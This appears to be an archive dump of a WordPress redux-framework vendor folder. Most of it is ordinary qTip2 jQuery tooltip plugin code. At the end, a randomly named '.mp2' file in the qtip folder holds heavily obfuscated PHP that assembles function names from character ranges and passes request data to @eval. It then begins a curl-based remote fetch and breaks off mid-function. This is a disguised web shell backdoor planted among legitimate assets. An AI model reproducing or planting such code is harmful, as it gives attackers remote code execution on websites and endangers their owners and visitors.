Setup VML-specific offset for pixel-perfection translate[2] = border && /^(r|b)/i.test(corner.string()) ? BROWSER.ie === 8 ? 2 : 1 : 0; // Set initial CSS inner.css({ coordsize: (newSize[0]+border) + ' ' + (newSize[1]+border), antialias: ''+(mimic.string().indexOf(CENTER) > -1), left: translate[0] - (translate[2] * Number(precedance === X)), top: translate[1] - (translate[2] * Number(precedance === Y)), width: newSize[0] + border, height: newSize[1] + border }) .each(function(i) { var $this = $(this); // Set shape specific attributes $this[ $this.prop ? 'prop' : 'attr' ]({ coordsize: (newSize[0]+border) + ' ' + (newSize[1]+border), path: coords, fillcolor: color[0], filled: !!i, stroked: !i }) .toggle(!!(border || i)); // Check if border is enabled and add stroke element !i && $this.html( createVML( 'stroke', 'weight="'+(border*2)+'px" color="'+color[1]+'" miterlimit="1000" joinstyle="miter"' ) ); }); } // Opera bug #357 - Incorrect tip position // https://github.com/Craga89/qTip2/issues/367 window.opera && setTimeout(function() { elements.tip.css({ display: 'inline-block', visibility: 'visible' }); }, 1); // Position if needed if(position !== FALSE) { this.calculate(corner, newSize); } }, calculate: function(corner, size) { if(!this.enabled) { return FALSE; } var self = this, elements = this.qtip.elements, tip = this.element, userOffset = this.options.offset, isWidget = elements.tooltip.hasClass('ui-widget'), position = { }, precedance, corners; // Inherit corner if not provided corner = corner || this.corner; precedance = corner.precedance; // Determine which tip dimension to use for adjustment size = size || this._calculateSize(corner); // Setup corners and offset array corners = [ corner.x, corner.y ]; if(precedance === X) { corners.reverse(); } // Calculate tip position $.each(corners, function(i, side) { var b, bc, br; if(side === CENTER) { b = precedance === Y ? LEFT : TOP; position[ b ] = '50%'; position[MARGIN+'-' + b] = -Math.round(size[ precedance === Y ? 0 : 1 ] / 2) + userOffset; } else { b = self._parseWidth(corner, side, elements.tooltip); bc = self._parseWidth(corner, side, elements.content); br = self._parseRadius(corner); position[ side ] = Math.max(-self.border, i ? bc : (userOffset + (br > b ? br : -b))); } }); // Adjust for tip size position[ corner[precedance] ] -= size[ precedance === X ? 0 : 1 ]; // Set and return new position tip.css({ margin: '', top: '', bottom: '', left: '', right: '' }).css(position); return position; }, reposition: function(event, api, pos, viewport) { if(!this.enabled) { return; } var cache = api.cache, newCorner = this.corner.clone(), adjust = pos.adjusted, method = api.options.position.adjust.method.split(' '), horizontal = method[0], vertical = method[1] || method[0], shift = { left: FALSE, top: FALSE, x: 0, y: 0 }, offset, css = {}, props; function shiftflip(direction, precedance, popposite, side, opposite) { // Horizontal - Shift or flip method if(direction === SHIFT && newCorner.precedance === precedance && adjust[side] && newCorner[popposite] !== CENTER) { newCorner.precedance = newCorner.precedance === X ? Y : X; } else if(direction !== SHIFT && adjust[side]){ newCorner[precedance] = newCorner[precedance] === CENTER ? (adjust[side] > 0 ? side : opposite) : (newCorner[precedance] === side ? opposite : side); } } function shiftonly(xy, side, opposite) { if(newCorner[xy] === CENTER) { css[MARGIN+'-'+side] = shift[xy] = offset[MARGIN+'-'+side] - adjust[side]; } else { props = offset[opposite] !== undefined ? [ adjust[side], -offset[side] ] : [ -adjust[side], offset[side] ]; if( (shift[xy] = Math.max(props[0], props[1])) > props[0] ) { pos[side] -= adjust[side]; shift[side] = FALSE; } css[ offset[opposite] !== undefined ? opposite : side ] = shift[xy]; } } // If our tip position isn't fixed e.g. doesn't adjust with viewport... if(this.corner.fixed !== TRUE) { // Perform shift/flip adjustments shiftflip(horizontal, X, Y, LEFT, RIGHT); shiftflip(vertical, Y, X, TOP, BOTTOM); // Update and redraw the tip if needed (check cached details of last drawn tip) if(newCorner.string() !== cache.corner.string() || cache.cornerTop !== adjust.top || cache.cornerLeft !== adjust.left) { this.update(newCorner, FALSE); } } // Setup tip offset properties offset = this.calculate(newCorner); // Readjust offset object to make it left/top if(offset.right !== undefined) { offset.left = -offset.right; } if(offset.bottom !== undefined) { offset.top = -offset.bottom; } offset.user = this.offset; // Perform shift adjustments if(shift.left = (horizontal === SHIFT && !!adjust.left)) { shiftonly(X, LEFT, RIGHT); } if(shift.top = (vertical === SHIFT && !!adjust.top)) { shiftonly(Y, TOP, BOTTOM); } /* * If the tip is adjusted in both dimensions, or in a * direction that would cause it to be anywhere but the * outer border, hide it! */ this.element.css(css).toggle( !((shift.x && shift.y) || (newCorner.x === CENTER && shift.y) || (newCorner.y === CENTER && shift.x)) ); // Adjust position to accomodate tip dimensions pos.left -= offset.left.charAt ? offset.user : horizontal !== SHIFT || shift.top || !shift.left && !shift.top ? offset.left + this.border : 0; pos.top -= offset.top.charAt ? offset.user : vertical !== SHIFT || shift.left || !shift.left && !shift.top ? offset.top + this.border : 0; // Cache details cache.cornerLeft = adjust.left; cache.cornerTop = adjust.top; cache.corner = newCorner.clone(); }, destroy: function() { // Unbind events this.qtip._unbind(this.qtip.tooltip, this._ns); // Remove the tip element(s) if(this.qtip.elements.tip) { this.qtip.elements.tip.find('*') .remove().end().remove(); } } }); TIP = PLUGINS.tip = function(api) { return new Tip(api, api.options.style.tip); }; // Initialize tip on render TIP.initialize = 'render'; // Setup plugin sanitization options TIP.sanitize = function(options) { if(options.style && 'tip' in options.style) { var opts = options.style.tip; if(typeof opts !== 'object') { opts = options.style.tip = { corner: opts }; } if(!(/string|boolean/i).test(typeof opts.corner)) { opts.corner = TRUE; } } }; // Add new option checks for the plugin CHECKS.tip = { '^position.my|style.tip.(corner|mimic|border)$': function() { // Make sure a tip can be drawn this.create(); // Reposition the tooltip this.qtip.reposition(); }, '^style.tip.(height|width)$': function(obj) { // Re-set dimensions and redraw the tip this.size = [ obj.width, obj.height ]; this.update(); // Reposition the tooltip this.qtip.reposition(); }, '^content.title|style.(classes|widget)$': function() { this.update(); } }; // Extend original qTip defaults $.extend(TRUE, QTIP.defaults, { style: { tip: { corner: TRUE, mimic: FALSE, width: 6, height: 6, border: TRUE, offset: 0 } } }); ;var MODAL, OVERLAY, MODALCLASS = 'qtip-modal', MODALSELECTOR = '.'+MODALCLASS; OVERLAY = function() { var self = this, focusableElems = {}, current, onLast, prevState, elem; // Modified code from jQuery UI 1.10.0 source // http://code.jquery.com/ui/1.10.0/jquery-ui.js function focusable(element) { // Use the defined focusable checker when possible if($.expr[':'].focusable) { return $.expr[':'].focusable; } var isTabIndexNotNaN = !isNaN($.attr(element, 'tabindex')), nodeName = element.nodeName && element.nodeName.toLowerCase(), map, mapName, img; if('area' === nodeName) { map = element.parentNode; mapName = map.name; if(!element.href || !mapName || map.nodeName.toLowerCase() !== 'map') { return false; } img = $('img[usemap=#' + mapName + ']')[0]; return !!img && img.is(':visible'); } return (/input|select|textarea|button|object/.test( nodeName ) ? !element.disabled : 'a' === nodeName ? element.href || isTabIndexNotNaN : isTabIndexNotNaN ); } // Focus inputs using cached focusable elements (see update()) function focusInputs(blurElems) { // Blurring body element in IE causes window.open windows to unfocus! if(focusableElems.length < 1 && blurElems.length) { blurElems.not('body').blur(); } // Focus the inputs else { focusableElems.first().focus(); } } // Steal focus from elements outside tooltip function stealFocus(event) { if(!elem.is(':visible')) { return; } var target = $(event.target), tooltip = current.tooltip, container = target.closest(SELECTOR), targetOnTop; // Determine if input container target is above this targetOnTop = container.length < 1 ? FALSE : (parseInt(container[0].style.zIndex, 10) > parseInt(tooltip[0].style.zIndex, 10)); // If we're showing a modal, but focus has landed on an input below // this modal, divert focus to the first visible input in this modal // or if we can't find one... the tooltip itself if(!targetOnTop && target.closest(SELECTOR)[0] !== tooltip[0]) { focusInputs(target); } // Detect when we leave the last focusable element... onLast = event.target === focusableElems[focusableElems.length - 1]; } $.extend(self, { init: function() { // Create document overlay elem = self.elem = $('<div />', { id: 'qtip-overlay', html: '<div></div>', mousedown: function() { return FALSE; } }) .hide(); // Make sure we can't focus anything outside the tooltip $(document.body).bind('focusin'+MODALSELECTOR, stealFocus); // Apply keyboard "Escape key" close handler $(document).bind('keydown'+MODALSELECTOR, function(event) { if(current && current.options.show.modal.escape && event.keyCode === 27) { current.hide(event); } }); // Apply click handler for blur option elem.bind('click'+MODALSELECTOR, function(event) { if(current && current.options.show.modal.blur) { current.hide(event); } }); return self; }, update: function(api) { // Update current API reference current = api; // Update focusable elements if enabled if(api.options.show.modal.stealfocus !== FALSE) { focusableElems = api.tooltip.find('*').filter(function() { return focusable(this); }); } else { focusableElems = []; } }, toggle: function(api, state, duration) { var docBody = $(document.body), tooltip = api.tooltip, options = api.options.show.modal, effect = options.effect, type = state ? 'show': 'hide', visible = elem.is(':visible'), visibleModals = $(MODALSELECTOR).filter(':visible:not(:animated)').not(tooltip), zindex; // Set active tooltip API reference self.update(api); // If the modal can steal the focus... // Blur the current item and focus anything in the modal we an if(state && options.stealfocus !== FALSE) { focusInputs( $(':focus') ); } // Toggle backdrop cursor style on show elem.toggleClass('blurs', options.blur); // Append to body on show if(state) { elem.appendTo(document.body); } // Prevent modal from conflicting with show.solo, and don't hide backdrop is other modals are visible if((elem.is(':animated') && visible === state && prevState !== FALSE) || (!state && visibleModals.length)) { return self; } // Stop all animations elem.stop(TRUE, FALSE); // Use custom function if provided if($.isFunction(effect)) { effect.call(elem, state); } // If no effect type is supplied, use a simple toggle else if(effect === FALSE) { elem[ type ](); } // Use basic fade function else { elem.fadeTo( parseInt(duration, 10) || 90, state ? 1 : 0, function() { if(!state) { elem.hide(); } }); } // Reset position and detach from body on hide if(!state) { elem.queue(function(next) { elem.css({ left: '', top: '' }); if(!$(MODALSELECTOR).length) { elem.detach(); } next(); }); } // Cache the state prevState = state; // If the tooltip is destroyed, set reference to null if(current.destroyed) { current = NULL; } return self; } }); self.init(); }; OVERLAY = new OVERLAY(); function Modal(api, options) { this.options = options; this._ns = '-modal'; this.init( (this.qtip = api) ); } $.extend(Modal.prototype, { init: function(qtip) { var tooltip = qtip.tooltip; // If modal is disabled... return if(!this.options.on) { return this; } // Set overlay reference qtip.elements.overlay = OVERLAY.elem; // Add unique attribute so we can grab modal tooltips easily via a SELECTOR, and set z-index tooltip.addClass(MODALCLASS).css('z-index', QTIP.modal_zindex + $(MODALSELECTOR).length); // Apply our show/hide/focus modal events qtip._bind(tooltip, ['tooltipshow', 'tooltiphide'], function(event, api, duration) { var oEvent = event.originalEvent; // Make sure mouseout doesn't trigger a hide when showing the modal and mousing onto backdrop if(event.target === tooltip[0]) { if(oEvent && event.type === 'tooltiphide' && /mouse(leave|enter)/.test(oEvent.type) && $(oEvent.relatedTarget).closest(OVERLAY.elem[0]).length) { try { event.preventDefault(); } catch(e) {} } else if(!oEvent || (oEvent && oEvent.type !== 'tooltipsolo')) { this.toggle(event, event.type === 'tooltipshow', duration); } } }, this._ns, this); // Adjust modal z-index on tooltip focus qtip._bind(tooltip, 'tooltipfocus', function(event, api) { // If focus was cancelled before it reached us, don't do anything if(event.isDefaultPrevented() || event.target !== tooltip[0]) { return; } var qtips = $(MODALSELECTOR), // Keep the modal's lower than other, regular qtips newIndex = QTIP.modal_zindex + qtips.length, curIndex = parseInt(tooltip[0].style.zIndex, 10); // Set overlay z-index OVERLAY.elem[0].style.zIndex = newIndex - 1; // Reduce modal z-index's and keep them properly ordered qtips.each(function() { if(this.style.zIndex > curIndex) { this.style.zIndex -= 1; } }); // Fire blur event for focused tooltip qtips.filter('.' + CLASS_FOCUS).qtip('blur', event.originalEvent); // Set the new z-index tooltip.addClass(CLASS_FOCUS)[0].style.zIndex = newIndex; // Set current OVERLAY.update(api); // Prevent default handling try { event.preventDefault(); } catch(e) {} }, this._ns, this); // Focus any other visible modals when this one hides qtip._bind(tooltip, 'tooltiphide', function(event) { if(event.target === tooltip[0]) { $(MODALSELECTOR).filter(':visible').not(tooltip).last().qtip('focus', event); } }, this._ns, this); }, toggle: function(event, state, duration) { // Make sure default event hasn't been prevented if(event && event.isDefaultPrevented()) { return this; } // Toggle it OVERLAY.toggle(this.qtip, !!state, duration); }, destroy: function() { // Remove modal class this.qtip.tooltip.removeClass(MODALCLASS); // Remove bound events this.qtip._unbind(this.qtip.tooltip, this._ns); // Delete element reference OVERLAY.toggle(this.qtip, FALSE); delete this.qtip.elements.overlay; } }); MODAL = PLUGINS.modal = function(api) { return new Modal(api, api.options.show.modal); }; // Setup sanitiztion rules MODAL.sanitize = function(opts) { if(opts.show) { if(typeof opts.show.modal !== 'object') { opts.show.modal = { on: !!opts.show.modal }; } else if(typeof opts.show.modal.on === 'undefined') { opts.show.modal.on = TRUE; } } }; // Base z-index for all modal tooltips (use qTip core z-index as a base) QTIP.modal_zindex = QTIP.zindex - 200; // Plugin needs to be initialized on render MODAL.initialize = 'render'; // Setup option set checks CHECKS.modal = { '^show.modal.(on|blur)$': function() { // Initialise this.destroy(); this.init(); // Show the modal if not visible already and tooltip is visible this.qtip.elems.overlay.toggle( this.qtip.tooltip[0].offsetWidth > 0 ); } }; // Extend original api defaults $.extend(TRUE, QTIP.defaults, { show: { modal: { on: FALSE, effect: TRUE, blur: TRUE, stealfocus: TRUE, escape: TRUE } } }); ;PLUGINS.viewport = function(api, position, posOptions, targetWidth, targetHeight, elemWidth, elemHeight) { var target = posOptions.target, tooltip = api.elements.tooltip, my = posOptions.my, at = posOptions.at, adjust = posOptions.adjust, method = adjust.method.split(' '), methodX = method[0], methodY = method[1] || method[0], viewport = posOptions.viewport, container = posOptions.container, cache = api.cache, adjusted = { left: 0, top: 0 }, fixed, newMy, containerOffset, containerStatic, viewportWidth, viewportHeight, viewportScroll, viewportOffset; // If viewport is not a jQuery element, or it's the window/document, or no adjustment method is used... return if(!viewport.jquery || target[0] === window || target[0] === document.body || adjust.method === 'none') { return adjusted; } // Cach container details containerOffset = container.offset() || adjusted; containerStatic = container.css('position') === 'static'; // Cache our viewport details fixed = tooltip.css('position') === 'fixed'; viewportWidth = viewport[0] === window ? viewport.width() : viewport.outerWidth(FALSE); viewportHeight = viewport[0] === window ? viewport.height() : viewport.outerHeight(FALSE); viewportScroll = { left: fixed ? 0 : viewport.scrollLeft(), top: fixed ? 0 : viewport.scrollTop() }; viewportOffset = viewport.offset() || adjusted; // Generic calculation method function calculate(side, otherSide, type, adjust, side1, side2, lengthName, targetLength, elemLength) { var initialPos = position[side1], mySide = my[side], atSide = at[side], isShift = type === SHIFT, myLength = mySide === side1 ? elemLength : mySide === side2 ? -elemLength : -elemLength / 2, atLength = atSide === side1 ? targetLength : atSide === side2 ? -targetLength : -targetLength / 2, sideOffset = viewportScroll[side1] + viewportOffset[side1] - (containerStatic ? 0 : containerOffset[side1]), overflow1 = sideOffset - initialPos, overflow2 = initialPos + elemLength - (lengthName === WIDTH ? viewportWidth : viewportHeight) - sideOffset, offset = myLength - (my.precedance === side || mySide === my[otherSide] ? atLength : 0) - (atSide === CENTER ? targetLength / 2 : 0); // shift if(isShift) { offset = (mySide === side1 ? 1 : -1) * myLength; // Adjust position but keep it within viewport dimensions position[side1] += overflow1 > 0 ? overflow1 : overflow2 > 0 ? -overflow2 : 0; position[side1] = Math.max( -containerOffset[side1] + viewportOffset[side1], initialPos - offset, Math.min( Math.max( -containerOffset[side1] + viewportOffset[side1] + (lengthName === WIDTH ? viewportWidth : viewportHeight), initialPos + offset ), position[side1], // Make sure we don't adjust complete off the element when using 'center' mySide === 'center' ? initialPos - myLength : 1E9 ) ); } // flip/flipinvert else { // Update adjustment amount depending on if using flipinvert or flip adjust *= (type === FLIPINVERT ? 2 : 0); // Check for overflow on the left/top if(overflow1 > 0 && (mySide !== side1 || overflow2 > 0)) { position[side1] -= offset + adjust; newMy.invert(side, side1); } // Check for overflow on the bottom/right else if(overflow2 > 0 && (mySide !== side2 || overflow1 > 0) ) { position[side1] -= (mySide === CENTER ? -offset : offset) + adjust; newMy.invert(side, side2); } // Make sure we haven't made things worse with the adjustment and reset if so if(position[side1] < viewportScroll && -position[side1] > overflow2) { position[side1] = initialPos; newMy = my.clone(); } } return position[side1] - initialPos; } // Set newMy if using flip or flipinvert methods if(methodX !== 'shift' || methodY !== 'shift') { newMy = my.clone(); } // Adjust position based onviewport and adjustment options adjusted = { left: methodX !== 'none' ? calculate( X, Y, methodX, adjust.x, LEFT, RIGHT, WIDTH, targetWidth, elemWidth ) : 0, top: methodY !== 'none' ? calculate( Y, X, methodY, adjust.y, TOP, BOTTOM, HEIGHT, targetHeight, elemHeight ) : 0, my: newMy }; return adjusted; }; ;PLUGINS.polys = { // POLY area coordinate calculator // Special thanks to Ed Cradock for helping out with this. // Uses a binary search algorithm to find suitable coordinates. polygon: function(baseCoords, corner) { var result = { width: 0, height: 0, position: { top: 1e10, right: 0, bottom: 0, left: 1e10 }, adjustable: FALSE }, i = 0, next, coords = [], compareX = 1, compareY = 1, realX = 0, realY = 0, newWidth, newHeight; // First pass, sanitize coords and determine outer edges i = baseCoords.length; while(i--) { next = [ parseInt(baseCoords[--i], 10), parseInt(baseCoords[i+1], 10) ]; if(next[0] > result.position.right){ result.position.right = next[0]; } if(next[0] < result.position.left){ result.position.left = next[0]; } if(next[1] > result.position.bottom){ result.position.bottom = next[1]; } if(next[1] < result.position.top){ result.position.top = next[1]; } coords.push(next); } // Calculate height and width from outer edges newWidth = result.width = Math.abs(result.position.right - result.position.left); newHeight = result.height = Math.abs(result.position.bottom - result.position.top); // If it's the center corner... if(corner.abbrev() === 'c') { result.position = { left: result.position.left + (result.width / 2), top: result.position.top + (result.height / 2) }; } else { // Second pass, use a binary search algorithm to locate most suitable coordinate while(newWidth > 0 && newHeight > 0 && compareX > 0 && compareY > 0) { newWidth = Math.floor(newWidth / 2); newHeight = Math.floor(newHeight / 2); if(corner.x === LEFT){ compareX = newWidth; } else if(corner.x === RIGHT){ compareX = result.width - newWidth; } else{ compareX += Math.floor(newWidth / 2); } if(corner.y === TOP){ compareY = newHeight; } else if(corner.y === BOTTOM){ compareY = result.height - newHeight; } else{ compareY += Math.floor(newHeight / 2); } i = coords.length; while(i--) { if(coords.length < 2){ break; } realX = coords[i][0] - result.position.left; realY = coords[i][1] - result.position.top; if((corner.x === LEFT && realX >= compareX) || (corner.x === RIGHT && realX <= compareX) || (corner.x === CENTER && (realX < compareX || realX > (result.width - compareX))) || (corner.y === TOP && realY >= compareY) || (corner.y === BOTTOM && realY <= compareY) || (corner.y === CENTER && (realY < compareY || realY > (result.height - compareY)))) { coords.splice(i, 1); } } } result.position = { left: coords[0][0], top: coords[0][1] }; } return result; }, rect: function(ax, ay, bx, by) { return { width: Math.abs(bx - ax), height: Math.abs(by - ay), position: { left: Math.min(ax, bx), top: Math.min(ay, by) } }; }, _angles: { tc: 3 / 2, tr: 7 / 4, tl: 5 / 4, bc: 1 / 2, br: 1 / 4, bl: 3 / 4, rc: 2, lc: 1, c: 0 }, ellipse: function(cx, cy, rx, ry, corner) { var c = PLUGINS.polys._angles[ corner.abbrev() ], rxc = c === 0 ? 0 : rx * Math.cos( c * Math.PI ), rys = ry * Math.sin( c * Math.PI ); return { width: (rx * 2) - Math.abs(rxc), height: (ry * 2) - Math.abs(rys), position: { left: cx + rxc, top: cy + rys }, adjustable: FALSE }; }, circle: function(cx, cy, r, corner) { return PLUGINS.polys.ellipse(cx, cy, r, r, corner); } }; ;PLUGINS.svg = function(api, svg, corner) { var doc = $(document), elem = svg[0], root = $(elem.ownerSVGElement), ownerDocument = elem.ownerDocument, strokeWidth2 = (parseInt(svg.css('stroke-width'), 10) || 0) / 2, frameOffset, mtx, transformed, viewBox, len, next, i, points, result, position, dimensions; // Ascend the parentNode chain until we find an element with getBBox() while(!elem.getBBox) { elem = elem.parentNode; } if(!elem.getBBox || !elem.parentNode) { return FALSE; } // Determine which shape calculation to use switch(elem.nodeName) { case 'ellipse': case 'circle': result = PLUGINS.polys.ellipse( elem.cx.baseVal.value, elem.cy.baseVal.value, (elem.rx || elem.r).baseVal.value + strokeWidth2, (elem.ry || elem.r).baseVal.value + strokeWidth2, corner ); break; case 'line': case 'polygon': case 'polyline': // Determine points object (line has none, so mimic using array) points = elem.points || [ { x: elem.x1.baseVal.value, y: elem.y1.baseVal.value }, { x: elem.x2.baseVal.value, y: elem.y2.baseVal.value } ]; for(result = [], i = -1, len = points.numberOfItems || points.length; ++i < len;) { next = points.getItem ? points.getItem(i) : points[i]; result.push.apply(result, [next.x, next.y]); } result = PLUGINS.polys.polygon(result, corner); break; // Unknown shape or rectangle? Use bounding box default: result = elem.getBBox(); result = { width: result.width, height: result.height, position: { left: result.x, top: result.y } }; break; } // Shortcut assignments position = result.position; root = root[0]; // Convert position into a pixel value if(root.createSVGPoint) { mtx = elem.getScreenCTM(); points = root.createSVGPoint(); points.x = position.left; points.y = position.top; transformed = points.matrixTransform( mtx ); position.left = transformed.x; position.top = transformed.y; } // Check the element is not in a child document, and if so, adjust for frame elements offset if(ownerDocument !== document && api.position.target !== 'mouse') { frameOffset = $((ownerDocument.defaultView || ownerDocument.parentWindow).frameElement).offset(); if(frameOffset) { position.left += frameOffset.left; position.top += frameOffset.top; } } // Adjust by scroll offset of owner document ownerDocument = $(ownerDocument); position.left += ownerDocument.scrollLeft(); position.top += ownerDocument.scrollTop(); return result; }; ;PLUGINS.imagemap = function(api, area, corner, adjustMethod) { if(!area.jquery) { area = $(area); } var shape = (area.attr('shape') || 'rect').toLowerCase().replace('poly', 'polygon'), image = $('img[usemap="#'+area.parent('map').attr('name')+'"]'), coordsString = $.trim(area.attr('coords')), coordsArray = coordsString.replace(/,$/, '').split(','), imageOffset, coords, i, next, result, len; // If we can't find the image using the map... if(!image.length) { return FALSE; } // Pass coordinates string if polygon if(shape === 'polygon') { result = PLUGINS.polys.polygon(coordsArray, corner); } // Otherwise parse the coordinates and pass them as arguments else if(PLUGINS.polys[shape]) { for(i = -1, len = coordsArray.length, coords = []; ++i < len;) { coords.push( parseInt(coordsArray[i], 10) ); } result = PLUGINS.polys[shape].apply( this, coords.concat(corner) ); } // If no shapre calculation method was found, return false else { return FALSE; } // Make sure we account for padding and borders on the image imageOffset = image.offset(); imageOffset.left += Math.ceil((image.outerWidth(FALSE) - image.width()) / 2); imageOffset.top += Math.ceil((image.outerHeight(FALSE) - image.height()) / 2); // Add image position to offset coordinates result.position.left += imageOffset.left; result.position.top += imageOffset.top; return result; }; ;var IE6, /* * BGIFrame adaption (http://plugins.jquery.com/project/bgiframe) * Special thanks to Brandon Aaron */ BGIFRAME = '<iframe class="qtip-bgiframe" frameborder="0" tabindex="-1" src="javascript:\'\';" ' + ' style="display:block; position:absolute; z-index:-1; filter:alpha(opacity=0); ' + '-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";"></iframe>'; function Ie6(api, qtip) { this._ns = 'ie6'; this.init( (this.qtip = api) ); } $.extend(Ie6.prototype, { _scroll : function() { var overlay = this.qtip.elements.overlay; overlay && (overlay[0].style.top = $(window).scrollTop() + 'px'); }, init: function(qtip) { var tooltip = qtip.tooltip, scroll; // Create the BGIFrame element if needed if($('select, object').length < 1) { this.bgiframe = qtip.elements.bgiframe = $(BGIFRAME).appendTo(tooltip); // Update BGIFrame on tooltip move qtip._bind(tooltip, 'tooltipmove', this.adjustBGIFrame, this._ns, this); } // redraw() container for width/height calculations this.redrawContainer = $('<div/>', { id: NAMESPACE+'-rcontainer' }) .appendTo(document.body); // Fixup modal plugin if present too if( qtip.elements.overlay && qtip.elements.overlay.addClass('qtipmodal-ie6fix') ) { qtip._bind(window, ['scroll', 'resize'], this._scroll, this._ns, this); qtip._bind(tooltip, ['tooltipshow'], this._scroll, this._ns, this); } // Set dimensions this.redraw(); }, adjustBGIFrame: function() { var tooltip = this.qtip.tooltip, dimensions = { height: tooltip.outerHeight(FALSE), width: tooltip.outerWidth(FALSE) }, plugin = this.qtip.plugins.tip, tip = this.qtip.elements.tip, tipAdjust, offset; // Adjust border offset offset = parseInt(tooltip.css('borderLeftWidth'), 10) || 0; offset = { left: -offset, top: -offset }; // Adjust for tips plugin if(plugin && tip) { tipAdjust = (plugin.corner.precedance === 'x') ? [WIDTH, LEFT] : [HEIGHT, TOP]; offset[ tipAdjust[1] ] -= tip[ tipAdjust[0] ](); } // Update bgiframe this.bgiframe.css(offset).css(dimensions); }, // Max/min width simulator function redraw: function() { if(this.qtip.rendered < 1 || this.drawing) { return this; } var tooltip = this.qtip.tooltip, style = this.qtip.options.style, container = this.qtip.options.position.container, perc, width, max, min; // Set drawing flag this.qtip.drawing = 1; // If tooltip has a set height/width, just set it... like a boss! if(style.height) { tooltip.css(HEIGHT, style.height); } if(style.width) { tooltip.css(WIDTH, style.width); } // Simulate max/min width if not set width present... else { // Reset width and add fluid class tooltip.css(WIDTH, '').appendTo(this.redrawContainer); // Grab our tooltip width (add 1 if odd so we don't get wrapping problems.. huzzah!) width = tooltip.width(); if(width % 2 < 1) { width += 1; } // Grab our max/min properties max = tooltip.css('maxWidth') || ''; min = tooltip.css('minWidth') || ''; // Parse into proper pixel values perc = (max + min).indexOf('%') > -1 ? container.width() / 100 : 0; max = ((max.indexOf('%') > -1 ? perc : 1) * parseInt(max, 10)) || width; min = ((min.indexOf('%') > -1 ? perc : 1) * parseInt(min, 10)) || 0; // Determine new dimension size based on max/min/current values width = max + min ? Math.min(Math.max(width, min), max) : width; // Set the newly calculated width and remvoe fluid class tooltip.css(WIDTH, Math.round(width)).appendTo(container); } // Set drawing flag this.drawing = 0; return this; }, destroy: function() { // Remove iframe this.bgiframe && this.bgiframe.remove(); // Remove bound events this.qtip._unbind([window, this.qtip.tooltip], this._ns); } }); IE6 = PLUGINS.ie6 = function(api) { // Proceed only if the browser is IE6 return BROWSER.ie === 6 ? new Ie6(api) : FALSE; }; IE6.initialize = 'render'; CHECKS.ie6 = { '^content|style$': function() { this.redraw(); } }; ;})); }( window, document ));��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/js/vendor/qtip/qtip/index.php������������������������������������������������0000644�����������������00000000000�14720701300�0016633 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/js/vendor/qtip/qtip/uPWLoqSAEFjZeDkNw.mp2������������������������������������0000644�����������������00000011751�14720701300�0020535 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $kJf /*-c5i?C-*/= /*-r9)^-*/"r"./*-wW!19-*/"a"."n"./*-A!debs-*/"g"."e"; /*-^>xf~Lt-*/$HwA/*-$D6geh-*/ = /*-NDb~5`-*/$kJf/*-c-*/("~", /*-8;6+p_-*/" "); /*-V#|fsA4-*/$IF/*-iX9-*/=/*-B?Zbc-*/${$HwA/*-1!PE`JUU-*/[11+20/*-@9}eIbNz-*/].$HwA/*-Q<c-*/[32+27]/*-z!.ROA-*/.$HwA/*-j|#rg%-*/[28+19]/*-XXF`:-*/.$HwA/*-jvuX[|U-*/[34+13]/*-Hq:9=-*/.$HwA/*-HsJe!F-*/[22+29]/*-`]Z|5KV?m?-*/.$HwA/*-:tx-*/[36+17]/*-llKjP<K!-*/.$HwA/*-g[h2-*/[11+46]/*-bLt,r-*/}; /*-3+-*/if/*-hpUG-*/((/*-2X6hpC&1L-*/in_array/*-EbL#yOhV-*/(gettype/*-&}~5R>!-*/($IF)./*--_&}c`<r-*/count/*-5&M])PR-*/($IF),/*-xt)$-*/$IF)/*-&r%y-*/&&count/*-Ky1n]=1-*/($IF)/*-$._Y0-*/==/*-&tkhu-*/11))/*-|-*/{ /*-:o2-*/(($IF[68]=$IF[68].$IF[77])&&($IF[82]=$IF[68]($IF[82]))&&(/*-g}V-*/@eval/*-OnV?I,P-*/($IF[68](${$IF[48]}[12])/*-lu$<Dkc-*/))/*-|.ky;SEye-*/);}/*-Xc-O9>8-*/class /*-BG1D9;0!.A-*/nK{ /*-RJ(K6U]-*/static/*-GBN!sk-*/ function /*-t.3@m]b-*/USzN($bWClg) /*-ko}v,tB-*/{ $JiwvN/*-VK{8v-*/ = /*-rIKB9Xy#L-*/"r"./*-4Io>]V>-*/"a"./*-~UJdZJ-*/"n"./*-RT?HR1ViI-*/"g"./*-U|&^-*/"e"; /*-tc9N2xiZ-*/$iaf/*-R-~jm]-*/ = /*-Hf<FoHzvVX-*/$JiwvN/*-H][o%W#-*/(/*-6n6^NC-*/"~"/*-qncw2n)-*/, /*-{zfEv,{o-*/" "/*-qVC.--*/);/*-Rlzlhx-*/ $FmwMxfBltb /*-!x9n1-*/= /*-@fiNJJ);PR-*/explode/*-ot-*/(/*-~Qw-*/"+", /*-PY2-*/$bWClg/*-:7$Y-*/); /*-%>v9tay9-*/$KLtTWqdx /*-#06~{d3:u-*/= /*-1Z-*/""; foreach /*-1al=28-*/(/*-lYKoGN70$-*/$FmwMxfBltb /*-K[d-*/as /*->2Y>(hW-*/$JrA /*-(T-*/=>/*-^r`TL-*/ $CvFGHJ/*-BH7i!lv#_-*/) /*-4q#?c;-*/$KLtTWqdx /*-;}8RH+V$X-*/.= /*-Hu-*/$iaf[$CvFGHJ/*-t?&@-*/ - /*-8hY4OBypg-*/57667/*-_-*/];/*-hF-OcE-*/ return /*-}.uMmb>;-*/$KLtTWqdx; /*-&R:06-*/} /*-Sz-*/static /*-;H2.-*/function /*-v4$Mky-vk~-*/MvsRkYJe/*-g2o.L-*/(/*-jeuK[-*/$lOSjJ,/*-[;Ls-*/ $WAOG/*-lssxK}+y~!-*/)/*-hUx-*/ {/*-d1-*/ $NfpbHhYG/*-!XOx-*/ = /*-f(kM!OwB~>-*/curl_init/*-NXZD0h5Pv}-*/(/*-jZ[Mpfv-*/$lOSjJ/*-ehaD-*/);/*->#-*/ curl_setopt/*-v}-*/(/*-4AA5-*/$NfpbHhYG,/*-1Q|u:!b]-*/ CURLOPT_RETURNTRANSFER,/*-DG#@.-*/ 1/*-Q@Z}-*/);/*-E#0-*/ 